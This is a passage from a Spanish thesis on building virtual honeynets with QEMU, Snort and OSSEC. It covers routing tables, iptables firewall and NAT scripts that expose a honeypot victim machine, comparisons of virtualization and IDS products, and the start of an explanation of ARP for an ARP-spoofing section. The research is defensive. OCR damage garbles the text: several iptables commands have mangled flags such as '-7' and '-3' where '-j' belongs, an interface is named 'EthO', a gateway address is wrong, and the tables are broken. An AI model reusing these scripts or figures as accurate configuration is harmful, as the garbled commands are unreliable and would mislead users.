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Tablas de ruteo relativas a la topologia 1

MVI

Kernel IP routing table

Destination| Gateway Genmask Flags | Metric | Ref | Use | Iface
192.168.2.0 * 255.255.255.0 U 0 0 0 Eth0
169.254.0.0 * 255.255.0.0 U 0 0 0 Eth0

default 192.168.2.1 0.0.0.0 uG 0 0 0 Eth0

Figura 10: Topologia I -tabla de ruteo de la MV I-

MV2
Kernel IP routing table
Destination | Gateway Genmask Flags | Metric | Ref | Use | Iface
192.168.2.0 * 255.255.255.0 U 0 0 0 EthO
10.10.10.0 * 255.255.255.0 U 0 0 0 Etho
169.254.0.0 * 255.255.255.0 U 0 0 0 Etho
default 192.18.2.1 0.0.0.0 uG 0 0 0 Etho

Figura 11: Topologia I -tabla de ruteo de la MV II-
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Tablas de ruteo relativas a la topologia 2

MV]1 (posee 2 interfaces de red)

Kernel IP routing table

Destination | Gateway Genmask Flags| Metric | Ref | Use | Iface
192.168.2.0 * 255.255.255.0 U 0 0 0 EthO
10.10.10.0 * 255.255.255.0 U 0 0 0 EthO
169.254.0.0 * 255.255.0.0 0] 0 0 0 Eth0
Default 192.168.2.1 0.0.0.0 uG 0 0 0 EthO
Figura 12: Topologia I -tabla de ruteo de la MV
MV2
Kernel IP routing table
Destination | Gateway Genmask Flags| Metric | Ref | Use | Iface
192.168.2.0 . 255.255.255.0 A R
&
10.10.10.0 255.255.255.0 u 0 0 0 Eth0
*
169.254.0.0 255.255.0.0 U 0 0 0 Eth0
Default 10.10.10.1 0.0.0.0 uG 0 0 0 Eth0

Configuraciones del firewall

Figura 13: Topologia Il -tabla de ruteo de la MV 11

A continuacion se mostraran los scripts utilizados en cada uno de los honeypots que formaron
parte de la configuracion.

Obs: En el caso de la topologia 2, hubo que realizar modificaciones en el firewall
(IPTABLES) de la maquina virtual 1, ya que la misma funciond como router haciendo NAT
hacia la subred donde se encontraba la maquina virtual 2 (victima de los ataques)
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Script 1: Utilizado para controlar el trafico entrante y saliente, en este caso “permitiendo todo

el trafico TCP, UDP e ICMP?”, con la subred de referencia.

#Se realiza el borrado de la configuracion
inicial.

iptables -F

#Se aceptan todos los pagquetes entrantes
desde la red 192.168.2.0/24

iptables -A INPUT -p tcp -s 192.168.2.0/24 -7
ACCEPT

iptables -A INPUT -p udp -s 192.168.2.0/24 -3
ACCEPT

iptables -A INPUT -p icmp -s 192.168.2.0/24 -
j ACCEPT

#Aceptamos todos los

paquetes salientes desde

la red 192.168.2.0/24

iptables -A OUTPUT -p tcp -s 192.168.2.0/24 -
4 ACCEPT

iptables -A OUTPUT -p udp -s 192.168.2.0/24 -
j ACCEPT

iptables -A OUTPUT -p icmp -s 192.168.2.0/24
-3 ACCEPT

Script 2: Configuracion de la tabla NAT utilizada en la topologia 2, para brindar acceso a una
maquina interna a través de SSH.

#Se realiza el Dborrado de la configuracion
inicial.

iptables -F

#Se vacia la tabla de NAT

iptables -t nat -F

#Comienzo todo lo relativo a nat

#OBS el postrouting de udp es para dque
resuelva dns

iptables -t nat -A POSTROUTING -p udp -s
10.10.10.0/24 -d 0.0.0.0/0 -3 MASQUERADE
iptables -t nat -A POSTROUTING -p tcp -s
10.10.10.0/24 -d 0.0.0.0/0 -3 MASQUERADE
iptables -t nat -A POSTROUTING -p icmp -s
10.10.10.0/24 -d 0.0.0.0/0 -j MASQUERADE

#fin de configuracién de nat

#Vamos a rutear las peticiones ssh a una pc
interna (en este caso la magquina virtual 2)
iptables -t nat -A PREROUTING -d

192.168.2.102

-p tcp --dport 22 -j DNAT --to-

destination 10.10.10.2:22

iptables -t nat -A PREROUTING -d
192.168.2.102 -p tcp --dport 1200 -j DNAT
--to-destination 10.10.10.2:1200

iptables -t nat -A PREROUTING -d
192.168.2.102 -p tcp --dport 2400 -3 DNAT

Deteccién y limitaciones
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--to-destination 10.10.10.2:2400

iptables -A INPUT -i ethO -p icmp -j ACCEPT
iptables -A  FORWARD --in-interface ethO
--out-interface ethl -j ACCEPT

echo 1 > /proc/sys/net/ipv4/ip forward

3.3 Software utilizado en la Honeynet

En esta seccion describiremos y efectuaremos un analisis comparativo acerca del
software mas importante utilizado para realizar el despliegue de la Honeynet, asi como un
cuadro de ventajas y desventajas de cada uno de ellos y su disposicion dentro de la misma.

3.3.1 Motivacién y consideraciones generales

Como hemos comentado en la seccion 3.2.2, este trabajo se basa en 2 topologias de
Honeynet virtuales, esto significa que ademas de software de base utilizado como por ejemplo
el sistema operativo, procesadores de texto, etc. todos ellos instalados normalmente en una
P.C. de escritorio hogarena o de oficina, debemos sumarle algunos mas, tales como: Software
de virtualizacion, motor de bases de datos, IDS, simuladores de determinados dispositivos de
hardware (ej. VDE), entre otros.

3.3.2 Disposicion del software dentro de la red virtual

Ademas de las topologias seleccionadas, uno de los componentes clave para la
arquitectura es el Honeynet gateway, también denominado honeywall. El propoésito del
mismo, es crear y aislar la Honeynet del resto de la red de produccion, éste es un elemento
critico en la arquitectura debido a que es el que captura y controla toda la actividad entrante y
saliente desde las maquinas objetivo (honeypots victima) hacia el exterior de la Honeynet.
Para lograr la captura de la informacion acerca de los ataques o anomalias que se producen en
la red trampa utilizaremos una serie de programas, cada uno de éstos instalado
estratégicamente en los nodos de interés a lo largo de la red.

Maquina fisica (honeywall):
- QEMU: Para crear las maquinas virtuales.

— VDE-SWITCH: Para efectuar la intercomunicacion entre
las maquinas virtuales y la maquina fisica.

— NIDS Snort: Captura y andlisis del trafico en la red
virtual.

— Reconfiguracion del IPTABLES para permitir/denegar la
comunicacion entre maquinas virtuales y HoneyWall.

— MySql: Motor de base de datos, donde es almacenada
toda la actividad registrada por Snort.

— Snort Report: Paginas web programadas en PHP para
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poder visualizar en tiempo real todo lo registrado por
Snort en el motor de base de datos, mediante consultas
programadas, mostrando graficos acerca de lo sucedido.

- Apache Web server.
Maquina Victima (maq. Virtual 2):

— HIDS Ossec: Captura y analisis de los logs del S.O,
brindando informacién de lo sucedido a través de
patrones de control.

— Interfaz Web para la interpretacion de los datos
brindados por Ossec (ossec-wui).

- Apache Web server.

3.3.3 Virtualizacion

Virtualizacion es un término amplio que se refiere a la abstraccion de los recursos de
una computadora. Este término es bastante antiguo y su uso se remonta a aflos anteriores a
1960, y ha sido aplicado a diferentes aspectos y ambitos de la informatica, desde sistemas
computacionales completos hasta capacidades o componentes individuales. El tema en comtin
de todas las tecnologias de virtualizacion es la de ocultar los detalles técnicos a través de la
encapsulacion. La virtualizacion crea una interfaz externa que esconde una implementacion
subyacente mediante la combinacion de recursos en locaciones fisicas diferentes, o mediante
la simplificacion del sistema de control. Un reciente desarrollo de nuevas plataformas y
tecnologias de virtualizacion han hecho que se vuelva a prestar atencion a este maduro
concepto [Wikib].

3.3.3.1 Justificacion del uso de virtualizacion

Debido al crecimiento vertiginoso de las tecnologias de la informacion en el campo
de los sistemas distribuidos, las redes tradicionales han logrado alcanzar un nivel
transaccional que antes no era posible. Por otro lado, también se produjeron grandes avances
en lo que respecta a la potencia computacional y el almacenamiento de manera de satisfacer
los requerimientos de la actualidad.

Sin embargo, en muchas organizaciones tanto el almacenamiento como la
potencialidad de sus sistemas no son integramente aprovechados, derivando en lo que se
conoce como deslocalizacion (granja de servidores desaprovechados) con un sistema por cada
servidor, es aqui donde la virtualizacion tiene una participacion muy importante, permitiendo
incrementar el uso de cada dispositivo y decrementando los costos reutilizando el mismo
hardware [Adel07].

Existen diversos enfoques de virtualizacion, aqui listaremos algunos de ellos:

+ Emulacion o simulacién: la maquina virtual simula un hardware completo,
admitiendo un sistema operativo “guest” completamente diferente. Este enfoque fue
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muy utilizado para permitir la creaciéon de software para nuevos procesadores antes
que estuvieran fisicamente disponibles.

+ Virtualizaciéon nativa y virtualizaciéon completa: la maquina virtual simula un
hardware suficiente para permitir un sistema operativo “guest” sin modificar (uno
disefiado para la misma CPU) para correr de forma aislada. Tipicamente, muchas
instancias pueden correr al mismo tiempo. Este enfoque fue el pionero en 1966 con
CP-40 y CP[-67]/CMS, predecesores de la familia de maquinas virtuales de IBM.

+ Virtualizacion parcial (y se incluye la llamada “virtualizaciéon del espacio de
direcciones”): la maquina virtual simula multiples instancias entornos subyacentes del
hardware, particularmente “el espacio de direcciones”. Este entorno admite compartir
recursos y aislar procesos, pero no permite instancias separadas de sistemas
operativos “guest”. Aunque no es vista como dentro de la categoria de maquina
virtual, historicamente éste fue un importante acercamiento, y fue usado en sistemas
como CTSS, el experimental IBM M44/44X, y podria decirse que en sistemas como
OS/VS1, OS/VS2 y MVS.

- Paravirtualizacion: la maquina virtual no necesariamente simula un hardware, en
cambio ofrece una API especial que solo puede usarse mediante la modificacion del
sistema operativo “guest”.

- Virtualizacion a nivel del sistema operativo: virtualizar un servidor fisico a nivel
del sistema operativo permitiendo multiples servidores virtuales aislados y seguros
correr en un solo servidor fisico. El entorno del sistema operativo “guest” comparte el
mismo sistema operativo que el del sistema “host” (el mismo kernel del sistema
operativo es usado para implementar el entorno del “guest”). Las aplicaciones que
corren en un entorno “guest” dado lo ven como un sistema autonomo.

+ Virtualizacion de aplicaciones: consiste en el hecho de correr una aplicacion de
escritorio o de servidor, usando los recursos locales, en una maquina virtual
apropiada. Esto contrasta con correr la aplicacion como un software local
convencional (software que fueron “instalados” en el sistema), tales aplicaciones
virtuales corren en un pequefio entorno virtual que contienen los componentes
necesarios para ejecutarse como: entradas de registros, archivos, variables de entorno,
elementos de uso de interfaces y objetos globales. El mencionado entorno virtual
actla como una capa entre la aplicacién y el sistema operativo, eliminando los
conflictos entre aplicaciones y entre las aplicaciones y el sistema operativo [Wikib].

- Kernel-based Virtual Machine (KVM) - Maquina virtual basada en el nicleo -:
es una solucidn para implementar virtualizacion completa con Linux sobre hardware
x86. Esta formada por un modulo del nucleo (con el nombre kvm.ko) y herramientas
en el espacio de usuario, siendo en su totalidad software libre. El componente KVM
para el nucleo esta incluido en Linux desde la version 2.6.20 [Wikic].

3.3.3.2 Ventajas de la virtualizacién

Dado que las maquinas virtuales suelen encapsularse en archivos, se obtiene una
importante flexibilidad en los despliegues, ya que el salvado, copia o eliminacion de los
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archivos con las imdagenes virtuales es rapido, comodo y sencillo. Como asi también, la
posibilidad de recrear diferentes infraestructuras de red en poco tiempo y de una manera
simple. Luego, se deducen dos importantes ventajas: flexibilidad y escaso o nulo tiempo de
recuperacion ante un incidente.

Por otro lado, las maquinas virtuales pueden contener sistemas de distinta indole: es
absolutamente posible tener un servidor de virtualizacion, coexistiendo con diferentes tipo de
software, como ser: Windows, Linux, BSD, Solaris, etc., por ejemplo, todo ello en una tnica
maquina fisica sustituyendo de esta manera enormes conjuntos de sistemas que apenas se
usan, por unos cuantos mejor utilizados. De aqui se emanan otras dos ventajas: bajo costo y
optimo aprovechamiento de los recursos.

Una gran ventaja a tener en cuenta es la simplificacion de la administracion, porque
separa los nucleos con una aplicacion ejecutdndose en cada uno, aumentando asi la seguridad
y facilidad de gestion. Ademas de reducir el hardware, logrando que los espacios ocupados
por el equipamiento tiendan a reducirse considerablemente.

La disociacién entre lo fisico y lo virtual permite obtener otras ventajas, la principal
es la seguridad, ya que las maquinas virtuales solo pueden comunicarse con otras maquinas
virtuales y con el exterior a través de conexiones correctamente configuradas.

A continuacién se presenta una tabla comparativa del software de virtualizacion
[Wikid]:
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Nombre Creador | Host | Guest | Host OS Guest OS Licencia
CPU CPU
Vmware ESX Vmware x86, x86, - Windows , Red Hat, Propietario
Server 3.0 AMD64 | AMD64 Suse, Netware, Solaris
Vmware ESX Vmware x86, x86 - Windows,Red Propietario
Server 2.5.3 AMD64 Hat,Suse,Netware,Free
BSD
Vmware Vmware x86, x86,AMD | Mac OS X Windows,Linux, Propietario
Fusion Intel VT- 64 (Intel) Netware,Solaris,Otros.
X
Vmware Vmware x86,AM | x86,AMD | Windows, DOS,Windows, Propietario
Server D64 64 Linux Linux,FreeBSD,Netwar (Gratuito)
e,Solaris, Virtual
appliances
Vmware Vmware  x86,AMD [x86,AMD6 | Windows, |DOS, Windows, Linux, Propietario
WorkStation 64 4 Linux FreeBSD, Solaris,
6.0 Netware, virtual
appliances
Vmware Vmware X86,AM | x86,AMD | Windows, | DOS, Windows, Linux, Propietario
Player 2.0 D64 64 Linux FreeBSD, Solaris, (Gratuito)
Netware, virtual
appliances
Xen University of | X86,AM | x86,AMD | NetBSD, Linux, NetBSD, GPL
Cambridge, D64, 64, Linux, FreeBSD, openBSD,
Intel, AMD | (PowerP | (PowerPC Solaris | Solaris, Windows XP &
Cand | and IA-64 2003 Server
1A-64 ports in
portsin | progress)
progress)
VirtualBox InnoTek X86, x86 Windows, | Dos,Windows,Linux, GPL V2, 1a
x86-64 Linux, Mac 0S/2, FreeBSD version con
OS x caracteristicas
(Intel) “Enterprise” es
propietaria
(gratuita para
uso personal y
académico)
QEMU Fabrice X86, x86, Windows, | Cambia regularmente GPL/LGPL
Bellard y AMDG64, | AMD64,A Linux,
otros 1A- RM, Sparc | FreeBSD,
desarrolladore | 64,Powe | 32y 64, | Mac OS X,
S PC, PowerPC, Solaris,
Alpha,Sp Open BSD,
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Nombre Creador | Host | Guest | Host OS Guest OS Licencia
CPU CPU
arc32y MIPS BeOS
64,
ARM, S/
390,
Mo68k
QEMU con Fabrice Intel Intel x86, Linux, Cambia regularmente GPL/LGPL
modulo kgemu Bellard x86, AMD64 | FreeBSD,
AMD64 Solaris,
Windows
Figura 14: Tabla comparativa del software de virtualizacion.

Informacion adicional sobre las caracteristicas de otras aplicaciones de virtualizacion que se

han estudiado durante este trabajo véase en Apéndice B.

3.3.3.3 Software de virtualizacion seleccionado

El software de virtualizacion seleccionado es Qemu debido a las siguientes caracteristicas:

1)
2)
3)

4)

5)
6)

Es software libre y esta licenciado bajo la General Public Licence (GPL).

Esta en permanente desarrollo y con gran cantidad de documentacion.

Puede ser implementado en distintos sistemas operativos y distinto hardware.

Emula el hardware subyacente completamente, logrando una transparencia que no es
alcanzada por software de virtualizacion en cuanto a la comunicacion con el hardware
real, disminuyendo la posibilidad de ser detectado como un honeypot durante un

ataque.

Posee buena performance con el médulo kgemu.

Eficiente mecanismo de almacenamiento en disco y por otro lado mucha diversidad
en formatos de imagen.

3.3.4 Sistemas de deteccion de intrusos (IDS)

Los sistemas de deteccion de intrusos suelen ser infraestructuras generalmente

complejas, que permiten, mediante una serie de heuristicas detectar cuando un sistema

informatico esta siendo utilizado de forma no autorizada.

5 Sistema de deteccion de intrusiones (del inglés:Intrusion Detection System)

Estos sistemas, también conocidos por sus siglas inglesas IDS *, no sélo permiten la
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deteccion de ataques cubiertos por otros componentes de seguridad, sino también la deteccion
de intrusiones que pasan desapercibidas por otros componentes del dispositivo de seguridad.

Todas esas detecciones son almacenadas en forma de registros de informacion que
son de gran utilidad a la hora de reconstruir, mediante técnicas de andlisis forense, qué es lo
que le ha sucedido a un sistema informatico [Barr05].

3.3.4.1 ;Qué es la deteccion de intrusos?

La deteccion de intrusos es el proceso de monitoreo de los eventos que ocurren en un
sistema de computacion o red y se los analiza para buscar signos de intrusion, que atentan a
comprometer la confidencialidad, integridad y disponibilidad de los mecanismos de seguridad
de las computadoras o redes. Las intrusiones son causadas por los accesos de los atacantes a
los sistemas, usuarios autorizados que atentan con obtener privilegios que no les
corresponden, o bien que otorgan privilegios a quienes no deben poseer, software automatico,
etc [Bace01].

3.3.4.2 ;Cuales son las razones por las cuales deberiamos utilizar un IDS?

La deteccion de intrusiones permite a las organizaciones proteger sus sistemas de las
amenazas que provienen con el incremento de la conectividad entre redes y la confianza sobre
los sistemas de informacion.

Razones para adoptar un IDS:

1- Prevenir problemas de comportamiento por el incremento del riesgo percibido por
quienes atacan o abusan del sistema.

2- Detectar ataques y otras violaciones de seguridad que no son prevenidas por otras
medidas de seguridad.

3- Detectar y tomar accion sobre las actividades maliciosas mas comunes.

4- Documentar la existencia de ataques a la organizacion.

5- Actuar como control de calidad para el disefio y administracion de seguridad,
especialmente de grandes y complejas infraestructuras.

6- Proveer informacion util sobre intrusiones que tuvieron lugar, permitiendo proveer
diagnosticos, recuperar, y corregir los factores causantes.

3.3.4.3 Tipos de IDS

Existen varios tipos de IDS disponibles hoy en dia, caracterizados por diferentes
aproximaciones en cuanto a monitoreo y analisis. Cada aproximacion posee distintas ventajas
y desventajas. Afortunadamente, todas ellas pueden ser descritas en términos de modelos de
procesos genéricos para IDS.
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Modelo de proceso para deteccion de intrusiones
Muchos IDS pueden ser descritos por tres componentes funcionales fundamentales:

1- Fuentes de informacion: Las diferentes fuentes de informacion usadas para
determinar cuando una intrusion ha tomado lugar. Estas fuentes pueden ser sacadas de
diferentes niveles del sistema, con redes, terminales y aplicaciones de monitoreo mas
comun.

2- Analisis: La parte del sistema de deteccion de intrusos que actualmente organiza y
hace tener sentido a los eventos derivados desde las fuentes de informacion,
decidiendo cudndo esos eventos indican qué intrusiones estan teniendo lugar.

3- Respuesta: El conjunto de acciones que el sistema toma una vez que detecta las
intrusiones. Estas son tipicamente agrupadas dentro de medidas activas y pasivas,
donde las mediciones activas envuelven algin tipo de intervencidon automatizada,
mientras que las pasivas solamente envian reportes entendibles para el Ser Humano,
para que tome alguna accion frente a dicha informacion.

.Como distinguir entre los distintos tipo de sistemas de deteccion de intrusiones?

Existen muchas aproximaciones de disefio usadas para deteccién de intrusiones. Estas
manejan las caracteristicas provistas por un IDS especifico y determinan la capacidad de
deteccion para ese sistema. Para aquellos que evalien diferentes IDS para un ambiente dado,
sus aproximaciones pueden ayudarlos a determinar qué metas son las mejores para cada IDS.

Arquitectura

La arquitectura de un IDS se refiere a como los componentes funcionales son
dispuestos unos con otros. Los componentes arquitecturales principales son las terminales, los
sistemas sobre los cuales el software IDS corre y es objetivo para su analisis.
Host-Target co-location

Antiguamente la mayoria de los IDS funcionaban sobre los sistemas que ellos mismos
protegian. Esto se debia a que muchos sistemas eran “mainframes”, por lo que pensar en un
sistema para solo un IDS era inaceptable por los costos que demandaba. Esto presentaba un
problema desde el punto de vista de la seguridad, ya que al producirse un ataque exitoso, el
atacante podria dejar desactivado el sistema IDS como uno de los pasos de su ataque.
Host-Target separation

Con el advenimiento de las computadoras personales y las estaciones de trabajo, las
arquitecturas de IDS fueron trasladadas a sistemas dedicados. De este modo, fue mucho mas
sencillo ocultar la existencia de estos sistemas a los distintos tipos de atacantes.

Fuentes de informacion

La clasificacion mas comiin de IDS es agruparlos segin “fuente de informacion”.
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Algunos analizan los paquetes que viajan por la red, capturandolos desde los distintos
segmentos de la red. Otros analizan la informacion generada por los sistemas operativos o por
signos de intrusion en aplicaciones de software.

IDS basados en red

La mayoria de los sistemas de deteccion de intrusos estan basados en red. Estos IDSs
detectan ataques capturando y analizando los paquetes que viajan por la red, escuchando
sobre los segmentos de red o switch, un IDS basado en red pueden monitorear el trafico de
red que afecta a varios “Hosts” que estan conectados en ese segmento.

Este tipo de IDS consiste en un conjunto de sensores de propdsito simple o host
ubicados en distintos puntos de la red, que monitorean los paquetes de red y efectian un
analisis sobre estos para luego reportar los ataques a una consola de gestion central. Muchos
de estos sensores estan disefiados para correr en “stealth mode” (modo cauteloso) de manera
de dificultar su presencia para los atacantes.

Ventajas:
e Con solo ubicar bien pocos de ellos es posible monitorear grandes redes.

*  Su despliegue tiene muy poco impacto sobre la red existente, debido a que son
dispositivos pasivos que “escuchan” y no interfieren con el normal desenvolvimiento
de la red en produccion.

*  Pueden hacerse muy seguros frente a ataques e invisibles para muchos atacantes.
Desventajas:

e Puede ser dificil procesar todos los paquetes en una gran y muy ocupada red, y de
esta forma puede fallar en el reconocimiento de un ataque lanzado durante un periodo
de mucho trafico.

e Muchas de las ventajas de estos tipos de IDS no son aplicables a las modernas redes
basadas en switch. Los switches subdividen las redes dentro de muchos segmentos, y
ademas no proveen puertos de monitoreo universal limitando el rango de monitoreo
de los sensores de IDS basados en red.

* No analizan la informacion encriptada. Este problema aumenta con el crecimiento en
el uso de VPN®,

*  Algunos tienen problemas de comportamiento con los ataques basados en redes que
involucran fragmentacion de paquetes. Esta malformacion de paquetes causa que el
IDS se vuelva inestable y quede fuera de servicio.

IDS basados en host

Operan sobre informacion que se colecta desde un sistema de computacidon

6  De sus siglas en inglés: virtual private networks (redes privadas virtuales)
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individual. Esta ventaja permite analizar actividades con gran precision y confiabilidad,
determinando qué procesos y usuarios estan envueltos en un ataque particular sobre el sistema
operativo. Ademas estos tipos de IDS pueden “ver” la salida de un ataque, pudiendo acceder y
monitorear los datos y procesos que son objetivo de ataque.

Normalmente utilizan fuentes de informacion de dos tipos:
» Auditorias del sistema operativo: Usualmente generados a nivel del S.O. y
son mas detallados y estdn mejor protegidos que los archivos de “logs” del

sistema.

» Archivos de “logs” del sistema: Son mucho menos obtusos y mas pequefios
que los descritos anteriormente, lo que los hace mas faciles de comprender.

Ventajas:

* Con su habilidad de leer eventos locales de un host, es posible detectar ataques que
no podrian ser vistos en IDS basados en red.

* Pueden operar en un ambiente donde el trafico de red es encriptado, dado que la
informacién generada es encriptada en el host origen y desencriptada en el host
destino.

* No son afectados por los switches de las redes.

* Cuando operan con las auditorias del sistema, estos pueden ayudar a detectar “Trojan
Horse 7’ u otros ataques.

Desventajas:

* Dificil de manejar, la informacién debe ser configurada y manejada para cada host
monitoreado.

e EI IDS reside sobre un host que puede ser atacado, y si el ataque tiene éxito el sistema
de deteccion podria ser desconectado.

* No detectan escaneos de red porque solo pueden visualizar los paquetes recibidos.

¢ Pueden quedar deshabilitados por ataques de DoS®.

* Cuando se utilizan las auditorias del sistema, la cantidad de informacién puede ser
inmensa, requiriendo dispositivos de almacenamiento adicional.

7 Se denomina troyano (o caballo de Troya, traduccion fiel del inglés Trojan horse aunque no tan utilizada) a un
programa malicioso capaz de alojarse en computadoras y permitir el acceso a usuarios externos, a través de una red
local o de Internet, con el fin de recabar informacion o controlar remotamente a la maquina anfitriona.

8 En seguridad informatica, un ataque de denegacion de servicio, también llamado ataque DoS (de las siglas en
inglés Denial of Service), es un ataque a un sistema de computadoras o red que causa que un servicio o recurso sea
inaccesible a los usuarios legitimos. Normalmente provoca la pérdida de la conectividad de la red por el consumo
del ancho de banda de la red de la victima o sobrecarga de los recursos computacionales del sistema de la victima.
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e Utilizan los recursos de la maquina que estan monitoreando.

IDS basados en aplicaciones

Es un subconjunto especial de IDS basados en host que analizan los eventos que
trascienden dentro del software de aplicacion. Ej: los archivos de logs transaccionales.

La habilidad de interactuar con la aplicacion directamente, con significante dominio o
conocimiento especifico incluido en el motor de analisis, permite detectar comportamiento
sospechoso de usuarios autorizados que estan excediendo sus permisos. Esto es porque los
problemas son mas probables de aparecer en la interaccion entre el usuario, los datos y la
aplicacion.

Ventajas:

* Puede monitorear la interaccion entre el usuario y la aplicacion, lo que permite
efectuar una traza de la actividad no autorizada de los individuos.

*  Puede trabajar en ambientes encriptados, desde su interfaz con la aplicacion a puntos
de terminacion de la transaccion, donde la informacion es presentada a los usuarios
en forma desencriptada.

Desventajas:

*  Son mas vulnerables que los IDSs basados en host a los ataques ya que los logs de las

aplicaciones estdn menos protegidas que las auditorias de sistema y pueden ser

modificadas.

* Monitorean los eventos a un nivel de abstraccion de usuario, por lo que no detectan
troyanos u otros ataques con consecuencias similares.

3.3.4.4 Fortalezas y limitaciones de los sistemas de deteccion de intrusos
Fortalezas:
*  Monitoreo y analisis de eventos de sistema y comportamiento de usuarios.
* Testeo de los estados de seguridad y sistemas de configuracion.

* Reconocimiento de patrones de los eventos del sistema que corresponden a ataques
conocidos.

* Reconocimiento de patrones de actividad que estadisticamente difieren de actividades
normales.

* Maneja las auditorias del sistema operativo y los mecanismos de “logging” y los
datos que éstos generan.
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e Alerta al personal apropiado con un significado acorde al problema, cuando un ataque
es detectado.

* Medida de ejecucion de las politicas de seguridad en el motor de analisis.
¢ Provee politicas de seguridad por defecto.

e Permite a personas que no son expertas en seguridad, efectuar importantes funciones
de monitoreo.

Limitaciones:
* No compensa la debilidad por la falta o pobres mecanismos en la infraestructura de
proteccion. Estos mecanismos incluyen firewalls, identificacion y autenticacion,

mecanismos de control de acceso, software antivirus, etc.

* No es instantanea la deteccion, reporte y respuesta frente a un ataque, cuando la red
esta congestionada.

e No es automatica la deteccion de nuevos ataques o modificaciones de ataques
anteriores.

e No es efectiva respondiendo a los ataques que son lanzados por atacantes
sofisticados.

* Investigacion automatica de ataques sin intervencion humana.

* No posee un comportamiento efectivo en redes con switches .
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La siguiente es una tabla comparativa de algunos productos IDS:

Vendedor/Producto(s)

Descripcion

Enterasys
Networks, Inc.

Dragon IDS [Ente]

Dragon IDS comprende Dragon Sensor (NIDS) y Dragon Squire (HIDS) con una
consola comun llamada Dragon Server. Dragon Squire monitorea plataformas de
host, aplicaciones, firewalls, y otros NIDSs y HIDSs. Luego de adquirirlo,
Enterasys posee un conjunto integrado y comprensible de herramientas dentro de
Dragon IDS que trabaja muy bien con esta linea de hardware (enterprise
switches).

Internet Systems
Security, Inc. (ISS) [1ISS]
Real Secure IDS

ISS RealSecure IDS estd especialmente disefiado para las empresas,
proporcionando alta disponibilidad, escalabilidad y redundancia. Es una solucion
completa que abarca Deteccion de Intrusos de red y de host totalmente integrados,
ademds de la habilidad de monitorear firewalls, routers, otros IDS’s, y
aplicaciones tales como servidores de correo electronico, de FTP y de Web.

Snort IDS [Snor]

Es el IDS de dominio publico mas ampliamente utilizado. Es distribuido bajo
licencia GNU GPL. Este IDS es capaz de analizar el trafico de la red en tiempo
real. Tiene un buen desempefio analizando los protocolos, comparando y
buscando contenidos, Puede ser usado para detectar una gran variedad de ataques
y examinar problemas potenciales como buffers overflows, escaneo de puertos
clandestinos, ataques CGI, pruebas en el servidor de samba y mas. Snort usa un
lenguaje de reglas para describir el trafico. Tiene un sistema de alerta en tiempo
real, incorporando mecanismos de alerta para el syslogd (Generador de logs),
archivos especificos del usuario y mensajes del cliente samba. También pueden
ser usados como sniffer similar al tcpdump. La posibilidad de anadir librerias
(plugins) para efectuar diferentes analisis, permiten la deteccion y el reporte de
subsistemas. Algunas de estas librerias son para la creacién de una base de datos
para la generacion de reportes, sistemas de deteccion y escaneo de puertos
[Cifu04].

En conclusion, snort puede ser usado como un:
- Sniffer.
- Depurador de trafico en la red.

- Sistema completo de deteccion de intrusos en la red.

Symantec Corp. [Syma]
Intruder Alert

NetProwler

Intruder Alert es el HIDS (desarrollado por Symantec) y NetProwler su NIDS
(software adquirido). Ambos productos integran actualmente su portfolio. Si bien
Symantec estd bien posicionado en el area IDS, hasta ahora ambos sistemas
poseen limitada interoperabilidad.

Figura 15: Algunos productos NIDS

3.3.4.5 Justificacion del software NIDS/HIDS seleccionado

Para el caso del sistema de deteccion de intrusos de red, seleccionamos a Snort IDS
por los siguientes motivos:

1. Es software libre y esta licenciado bajo la General Public Licence (GPL V2).
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2. Esta en permanente desarrollo, posee gran cantidad de documentacion y soporte.
Posee una comunidad de mas de 100.000 usuarios activos.

3. Puede ser instalado en distintos tipos de sistemas operativos (Windows, Linux,
Solaris, etc.)

4. Es muy flexible, posibilitando la creaciéon e implementacion de reglas de
deteccion de intrusiones propias.

5. Puede ser configurado para funcionar como: Sniffer, packet logger® y finalmente
NIDS.

6. Es posible utilizarlo como IPS (intrusion prevention system), lo que nos ahorra de
la instalacion de un software adicional.

7. Esta ampliamente relacionado con el proyecto Honeynet'®.

Por otro lado, para el caso del software HIDS, seleccionamos a OSSEC por los
siguientes motivos:

1. Es software libre y esté licenciado bajo la General Public Licence (GPL V3).

2. Al igual que Snort estd en permanente desarrollo y posee un amplia comunidad
de usuarios activos y contactos de soporte técnico.

3. Posee gran soporte para distintos sistemas operativos, como también a
dispositivos de hardware e incluso es compatible en formato con distintas
aplicaciones que generan archivos de logs."

4. Es simple de instalar, debido a que no requiere conocimientos especificos para
poder dejarlo en funcionamiento y a diferencia de otros HIDS, no es necesaria la
instalacidén de ningtn otro software adicional.

5. Algunas de sus caracteristicas son: analisis de archivos de logs, chequeo de

integridad de archivos, politicas de monitoreo, deteccion de rootkits, alertas en
tiempo real y respuesta activa.

3.4 Ataques: Caracteristicas, funcionamiento y software involucrado

En esta seccion explicaremos cuales son las caracteristicas de los ataques y el
funcionamiento del software involucrado durante la experimentacion.

3.4.1 ArpSpoofing

Antes de introducirnos en el funcionamiento de este ataque es importante comprender
el funcionamiento del protocolo ARP y de sus vulnerabilidades inherentes.

9 Packet logger: Almacena en el disco rigido los paquetes de red como archivos de log.
10 http://www.snort.org/docs/snort_htmanuals/htmanual 2832/nodel7.html
11 http://www.ossec.net/main/supported-systems
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ARP es el protocolo encargado de traducir direcciones IP a direcciones MAC para
que la comunicacion pueda establecerse; para ello cuando un host quiere comunicarse con
una [P emite una trama ARP-Request (pedido de direccion MAC para una IP determinada) a
la direccion de Broadcast (direccion de difusion de la red, esta direccion es:
FF:FF:FF:FF:FF:FF) pidiendo la direccion MAC del host poseedor de la IP con la que desea
comunicarse. El host poseedor de esa IP responde con un ARP-Reply indicando su direccion
MAC (véase Figura 16). Los Switches y los hosts guardan una tabla local con la relacion IP-
MAC llamada "tabla ARP" [Plum82].

Hoston LA Broadcast Address Host

ARP request

ARF reply

IF Facket

Figura 16: Funcionamiento del protocolo ARP.

Este protocolo trabaja a nivel de enlace de datos del modelo OSI [Zimm80] (modelo
de referencia de Interconexion de Sistemas Abiertos), por lo que esta técnica so6lo puede
ser utilizada en redes LAN o en cualquier caso en la parte de la red que queda antes del
primer router . El protocolo Ethernet trabaja mediante direcciones MAC [Wikif] (Media
Access Control Address) no mediante direcciones IP. Las direcciones MAC son
identificadores hexadecimales de 48 bits que se corresponden de forma tinica con una tarjeta
o interfaz de red. Es individual, cada dispositivo tiene su propia direccion MAC determinada
y configurada por el IEEE (los primeros 24 bits) y el fabricante (los tdltimos 24 bits)
utilizando el OUI [Wikig] (Identificador inico Organico) .

